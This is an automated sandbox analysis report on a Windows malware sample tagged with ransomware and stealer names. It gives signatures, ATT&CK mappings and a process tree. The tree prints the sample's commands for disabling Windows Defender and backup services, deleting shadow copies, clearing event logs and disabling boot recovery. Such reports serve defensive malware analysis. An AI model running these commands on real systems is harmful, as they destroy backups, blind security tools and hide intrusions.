Overview

overview

10

Static

static

3

2026-03-17...ch.exe

windows10-2004-x64

10

2026-03-17...ch.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    71s
  • max time network
    96s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/03/2026, 02:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-03-17_e4c109bccc249f9ab0c96b811d01685b_cobalt-strike_frostygoop_glassworm_hive_luca-stealer_salatstealer_sliver_snatch.exe
  • Size 2.8MB
  • Sample260317-dft4esbz3n
  • SHA256 f5f354a1c30e1b6225c48dbc903f289283108b744a5d23f21435b58b9a832905
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionevasionexecutionimpactpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-03-17_e4c109bccc249f9ab0c96b811d01685b_cobalt-strike_frostygoop_glassworm_hive_luca-stealer_salatstealer_sliver_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-03-17_e4c109bccc249f9ab0c96b811d01685b_cobalt-strike_frostygoop_glassworm_hive_luca-stealer_salatstealer_sliver_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2336
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:1908
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3616
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:2940
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:796
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:3144
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4984
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:4268
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2800
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:1808
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1744
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:1524
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2224
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:3676
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_1f54e" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4368
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_1f54e" /y
                      3⤵
                        PID:2912
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2192
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1816
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4328
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3704
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4940
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2804
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3508
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_1f54e" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4320
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                      • Modifies Security services
                      PID:4276
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                      2⤵
                        PID:1704
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                        2⤵
                        • Modifies Windows Defender DisableAntiSpyware settings
                        PID:4720
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                        2⤵
                          PID:4704
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                          2⤵
                            PID:4620
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:332
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2248
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:3320
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2220
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:5100
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:4120
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                              2⤵
                                PID:2144
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                2⤵
                                  PID:1572
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:3964
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:788
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:2824
                                      • C:\Windows\SYSTEM32\schtasks.exe
                                        schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                        2⤵
                                          PID:4448
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                          2⤵
                                            PID:3920
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                            2⤵
                                              PID:4040
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                              2⤵
                                                PID:2116
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                2⤵
                                                  PID:4920
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                  2⤵
                                                    PID:4192
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                    2⤵
                                                      PID:4432
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                      2⤵
                                                        PID:1140
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                        2⤵
                                                          PID:1716
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                          2⤵
                                                            PID:2340
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:3272
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:816
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:3144
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:1872
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:1256
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies security service
                                                              PID:3340
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:4296
                                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                                              vssadmin.exe delete shadows /all /quiet
                                                              2⤵
                                                              • Interacts with shadow copies
                                                              PID:2092
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl system
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3204
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl security
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:768
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl application
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4340
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe SHADOWCOPY /nointeractive
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1876
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe shadowcopy delete
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3028
                                                            • C:\Windows\SYSTEM32\bcdedit.exe
                                                              bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:4708
                                                            • C:\Windows\SYSTEM32\bcdedit.exe
                                                              bcdedit.exe /set {default} recoveryenabled no
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:4608
                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                              cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                              2⤵
                                                                PID:656
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                2⤵
                                                                  PID:888
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Set-MpPreference -DisableIOAVProtection $true
                                                                    3⤵
                                                                    • Disables one or more Microsoft Defender components
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:1828
                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                  2⤵
                                                                    PID:1556
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                      3⤵
                                                                      • Disables one or more Microsoft Defender components
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:4476

                                                                Network

                                                                      MITRE ATT&CK Enterprise v16

                                                                      Reconnaissance

                                                                      Resource Development

                                                                      Initial Access

                                                                      Execution

                                                                      Command and Scripting Interpreter

                                                                      1
                                                                      T1059

                                                                      PowerShell

                                                                      1
                                                                      T1059.001

                                                                      System Services

                                                                      1
                                                                      T1569

                                                                      Service Execution

                                                                      1
                                                                      T1569.002

                                                                      Windows Management Instrumentation

                                                                      1
                                                                      T1047

                                                                      Persistence

                                                                      Create or Modify System Process

                                                                      4
                                                                      T1543

                                                                      Windows Service

                                                                      4
                                                                      T1543.003

                                                                      Privilege Escalation

                                                                      Create or Modify System Process

                                                                      4
                                                                      T1543

                                                                      Windows Service

                                                                      4
                                                                      T1543.003

                                                                      Defense Evasion

                                                                      Direct Volume Access

                                                                      1
                                                                      T1006

                                                                      Impair Defenses

                                                                      4
                                                                      T1562

                                                                      Disable or Modify Tools

                                                                      3
                                                                      T1562.001

                                                                      Indicator Removal

                                                                      3
                                                                      T1070

                                                                      Clear Windows Event Logs

                                                                      1
                                                                      T1070.001

                                                                      File Deletion

                                                                      2
                                                                      T1070.004

                                                                      Modify Registry

                                                                      4
                                                                      T1112

                                                                      Credential Access

                                                                      Credentials from Password Stores

                                                                      1
                                                                      T1555

                                                                      Credentials from Web Browsers

                                                                      1
                                                                      T1555.003

                                                                      Unsecured Credentials

                                                                      1
                                                                      T1552

                                                                      Credentials In Files

                                                                      1
                                                                      T1552.001

                                                                      Discovery

                                                                      Query Registry

                                                                      1
                                                                      T1012

                                                                      Lateral Movement

                                                                      Collection

                                                                      Data from Local System

                                                                      1
                                                                      T1005

                                                                      Command and Control

                                                                      Exfiltration

                                                                      Impact

                                                                      Inhibit System Recovery

                                                                      3
                                                                      T1490

                                                                      Service Stop

                                                                      1
                                                                      T1489

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      powershell.exe.log
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                      • Size 4KB
                                                                      • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      StartupProfileData-NonInteractive
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                      • Size 1KB
                                                                      • SHA256 c82f2726f8ce51fc0d84eb392397b748700470a79032acae4a60c63d1067edcb
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      __PSScriptPolicyTest_ne5weh4s.tmo.ps1
                                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ne5weh4s.tmo.ps1
                                                                      • Size 60B
                                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      memory/1828-21-0x000002DC5E220000-0x000002DC5E228000-memory.dmp
                                                                      Download

                                                                      memory/1828-23-0x000002DC5E4E0000-0x000002DC5E4EA000-memory.dmp
                                                                      Download

                                                                      memory/1828-18-0x000002DC5E4A0000-0x000002DC5E4BC000-memory.dmp
                                                                      Download

                                                                      memory/1828-19-0x000002DC5E210000-0x000002DC5E21A000-memory.dmp
                                                                      Download

                                                                      memory/1828-20-0x000002DC5E4C0000-0x000002DC5E4DA000-memory.dmp
                                                                      Download

                                                                      memory/1828-16-0x000002DC5E140000-0x000002DC5E1F3000-memory.dmp
                                                                      Download

                                                                      memory/1828-22-0x000002DC5E230000-0x000002DC5E236000-memory.dmp
                                                                      Download

                                                                      memory/1828-17-0x000002DC5E200000-0x000002DC5E20A000-memory.dmp
                                                                      Download

                                                                      memory/1828-26-0x000002DC43EF0000-0x000002DC43EFC000-memory.dmp
                                                                      Download

                                                                      memory/1828-27-0x000002DC457D0000-0x000002DC457E2000-memory.dmp
                                                                      Download

                                                                      memory/1828-28-0x000002DC5DE60000-0x000002DC5DECF000-memory.dmp
                                                                      Download

                                                                      memory/1828-15-0x000002DC5E120000-0x000002DC5E13C000-memory.dmp
                                                                      Download

                                                                      memory/1828-8-0x000002DC5DE30000-0x000002DC5DE52000-memory.dmp
                                                                      Download

                                                                      memory/4476-44-0x000001E38FB80000-0x000001E38FB8C000-memory.dmp
                                                                      Download

                                                                      memory/4476-45-0x000001E391670000-0x000001E391682000-memory.dmp
                                                                      Download

                                                                      memory/4476-46-0x000001E3A9A40000-0x000001E3A9AAF000-memory.dmp
                                                                      Download